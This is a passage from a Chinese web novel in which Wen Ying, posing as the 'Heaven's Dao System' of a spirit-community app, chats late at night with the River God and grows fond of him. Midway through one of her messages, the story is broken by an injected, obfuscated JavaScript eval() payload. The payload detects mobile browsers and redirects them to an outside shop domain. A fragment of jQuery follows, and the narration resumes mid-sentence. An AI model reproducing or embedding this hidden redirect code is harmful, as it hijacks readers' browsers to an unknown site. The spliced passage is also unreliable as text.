温楹的笑容凝固在嘴角。
她低头看了看自己搭在键盘上的手，确认自己是二十二岁未婚未育、连男朋友都没有过的标准单身青年。
她盯着那两个字看了好一会儿，又看了看那个小花头像，脑子里缓缓冒出一个问号。
这又是哪门子的剧情发展？
她试图用逻辑推理，想了三秒，放弃了。
提示词不足，程序都跑不通，就当作是什么奇怪的play吧。她面无表情地把留言板页面关掉，内心毫无波动……
不，其实波动还是挺大的，但她决定用“已读不回”来维持成年人最后的体面。并且再次庆幸当初没有做已读标记这种华而不实的功能。
天道大人高深莫测的人设，在这种时候特别好用。
不过今晚肯定不适合约师傅来修风扇了。她看了一眼窗外已经黑透了的天，决定明天一定打电话，反正有小风扇有凉席，凑合过一夜再说。
结果通常都很管用的“拖字诀”在今晚破了功。
半夜温楹是被疼醒的。小腹像被人拧了条湿毛巾，又酸又坠。
她迷迷糊糊翻了个身，路径依赖地摸到手机看时间，凌晨两点。然后后知后觉想起来，这几天好像是生理期。这段时间忙忘了，而且本来就不怎么准时，今天下午还因为贪凉，喝了一大杯冰水。
所有不该凑到一起的事全凑到一起了，debuff叠得太满，温楹蜷在被子里，觉得自己像个被戳破的气球。人果然不能心存侥幸。
好在一般过了第一天就会好很多。
她爬起来收拾好自己，安详地瘫回床上，左右睡不着，于是抱着枕头刷起手机，小风扇尽职尽责地摇着脑袋。
先刷了会儿萌宠视频，给狸花花的新视频挨个点了赞，又拐弯看完了王舒颜热情洋溢推荐的游戏实况，认认真真回复了已阅。
指尖划着划着，不受控制地点开了《城灵互助》的图标。版聊区深夜还零星飘着几条消息，她扫了两眼，本来想直接退出去，可下午那句“妈妈”像根小羽毛似的，在心里轻轻挠了一下。
生理期的人总容易多想，明明已经决定“已读不回”了，这会儿躺着没事干，手指还是鬼使神差地滑进了留言板。
花灵小月果然又发了一条新的，发送时间在两个小时前。
【花灵小月】：其实我知道哦，妈妈和我们不一样的事情。
温楹盯着这条留言，肚子好像更疼了。
什么不一样？哪里不一样？
她知道我其实是人类了？但怎么知道的？又为什么要叫妈妈？
她很想把手机塞进枕头底下，闭上眼当没看见，但好奇心从入睡前到清醒后一直在彰显存在。
回复是万万不可能的，她还没有聚积足够的勇气。那这种事谁能向谁问呢。
等温楹回过神来的时候，手已经戳开了河神的聊天窗口。
【天道系统】：在吗？
那边几乎是秒回。
【河神】：嗯。
【河神】：这个时间还没有休息，在忙工作的事？
温楹苦哈哈地翻了个身。
【天道系统】：没有，只是有点睡不着。
【天道系统】：说起来版聊区有个叫花灵小月的用户，也是你邀请来的吗？
【河神】：不是，怎么了？
温楹想了想，把前因后果说了。
【天道系统】：她在留言板叫我妈妈。还说什么“和我们不一样”。她是不是知道我是人类？
隔了一小会儿。
【河神】：不用担心，对方没有恶意。
【河神】：据我所知，目前只有银缕，就是蠹鱼先生明确知道你的身份。
温楹看着这行字，愣了一下。
【天道系统】：她怎么知道的？
【河神】：图书馆的事她都看在眼里，应该是看见你登录后台了。
啊……温楹想起那个扎麻花辫的小身影坐在书架顶上居高临下瞪她的样子，觉得这确实像是蠹鱼先生会做的事。
但另一个问题又冒出来了。
【天道系统】：你怎么知道她知道的？
打完字她觉得自己仿佛在说绕口令。
河神没有秒回。对话框上方的“对方正在输入”闪了又停，停了又闪，像某种显而易见的、斟酌措辞的沉默。
温楹盯着那行小字，好奇心居然压过了小腹的钝痛，撑着下巴等答案。
过了几秒，屏幕亮了一下。
【河神】：前段时间她来问过我你的事。
【河神】：还给我推荐了一本书。
温楹眨了眨眼。这答案有点出乎预料。她一时间不知道该先问“问了我什么事”，还是该先问“推荐了什么书”。犹豫了两秒。
【天道系统】：什么书？
这回对方没有沉默，答案很自然地从屏幕中跳出来。
【河神】：会撒娇的男人最好命。
温楹对着屏幕反应了好几秒，才意识到这是一本书的名字。
然后她笑得差点从床上滚下去。小腹还在疼，但她控制不住，笑得眼泪都快出来了，一边笑一边抽气，整个人蜷成一只熟透的虾。
等她终于缓过来，擦掉眼角的泪花，忍着笑打字。
【天道系统】：她怎么还看这种书！光靠撒娇就能过上好日子的话，应该入选当代课本当教辅资料啊！
河神的回复比刚才快了些，字里行间居然带了点不易察觉的无奈。
【河神】：嗯。她说这是为了解决我的人际关系问题。
温楹的好奇心瞬间又被勾了起来。她忽然觉得晏清像一本翻不完的书，每次聊都能翻出点出乎意料的新内容。
【天道系统】：什么人际关系问题这么严重，都需要看这种书了？本天道酌情帮忙解决一下。
对话框静了两秒。
然后一行字慢悠悠地跳了出来。
【河神】：那如果我用楚楚可怜的表情恳求你能不能多陪陪我，你会答应吗？
温楹的笑容顿住了。她盯着“楚楚可怜”四个字，又把“能不能多陪陪我”翻来覆去看了好几遍。她试着想象了一下那个画面。
河神站她面前低眉垂眼，用那双水光盈盈眼睛看着她，问能不能多陪陪他。
这应该是开玩笑的吧？
她摸着自己发烫的耳尖想。可喉咙却莫名发干，心跳快得咚咚响，和刚才笑得太厉害完全是两种节奏。
好像……这招还真的挺管用的。
当然这句话她没敢打出去，只敢在心里偷偷说。
【天道系统】：不愧是河神大人的学习
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17698342|208046||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成果！
对话框里只有光标一闪一闪，像是在替她的心跳计数。她没敢让对方多等。
【天道系统】：但我觉得是河神大人的话，直说就好了呀！
温楹甚至用上了敬语，发完她立刻把手机翻过来，屏幕朝下扣在胸口，闭着眼深呼吸。
可恶。长得好看就可以为所欲为吗。真是犯规！
手机震了一下，恰好和心脏的跳跃同频，她定了定神，才小心翼翼地掀起手机一角觑了一眼。
【河神】：好，那私聊功能以后还要测试吗？
温楹看着这句话，忍不住弯了弯嘴角。
从最开始她试探性地发“我在测试私信功能”，再到现在有事没事聊两句，这个“测试功能”的借口，已经心照不宣地用了无数遍了。
【天道系统】：以后有别的功能需要。
【河神】：随时欢迎。
窗外的夜风不知什么时候大了些，吹动窗帘边角，带着清冽的微凉漫进来，拂过额角，居然驱散了不少暑气。
温楹打了个哈欠，感觉小腹的坠痛轻了很多，人一放松，藏在心里的顾虑就又冒了出来。
【天道系统】：对了，之前银缕说过，被人类看见是很麻烦的事。那反过来呢……如果他们知道我不是什么“天道系统”，就是个普通人类，会不会觉得被骗了？
毕竟从一开始，大家默认的“天道”，应该是个很厉害的大妖才对。
【河神】：不会。人类也好，妖精也好，他们认得的是你做的事，不是天道大人这个名字。
【河神】：你觉得狸花花接任务是因为天道积分，还是因为他喜欢干净的河岸？
温楹抱着手机，指尖在屏幕上悬了一瞬，然后轻轻落下。
【天道系统】：你这么说的话，我突然好像不担心了。
她把毯子拉起来，只露出半张脸。屏幕上的光映在她眼睛里，亮晶晶的。
也许自己明天也可以回花灵小月的消息，问问她这么称呼自己的原因。
【天道系统】：有空的话，我请你吃饭吧。我常去的一家火锅店，味道很好。
【河神】：好。
【天道系统】：不过你能吃辣吗？那家店的红油锅底特别香，就是有点辣。
【河神】：也许可以。河岸边的野花椒，结果的时候会落进水里。
【天道系统】：这样就能尝到吗？
【河神】：嗯，因为我是清溪河本身。
……
后来的对话温楹记不太清了。
大概是聊了火锅店的位置，聊了有空是哪天。
慢慢的，她的困意像潮水一样慢慢涌上来，小腹的疼痛不知不觉就消失了。
她闭上眼睛，好像又回到了那片水底。波光在头顶轻轻摇晃，细沙在脚边流淌，有人站在河岸上看着她，伸出手。她握住了那只手，冰冰凉凉的。
窗外夏末的蝉鸣隐隐约约，半掩的窗帘被夜风掀起一角。
悬在天花板上、停了一整天的吊扇，忽然慢悠悠地转了起来。
叶片扫过空气，发出极轻的嗡鸣，不疾不徐，带起一圈圈轻柔的风，拂过床单，拂过她散在枕畔的发梢。
没有噪音，没有卡顿，平稳得像是它从一开始就没有坏过。
然后，她一夜好眠。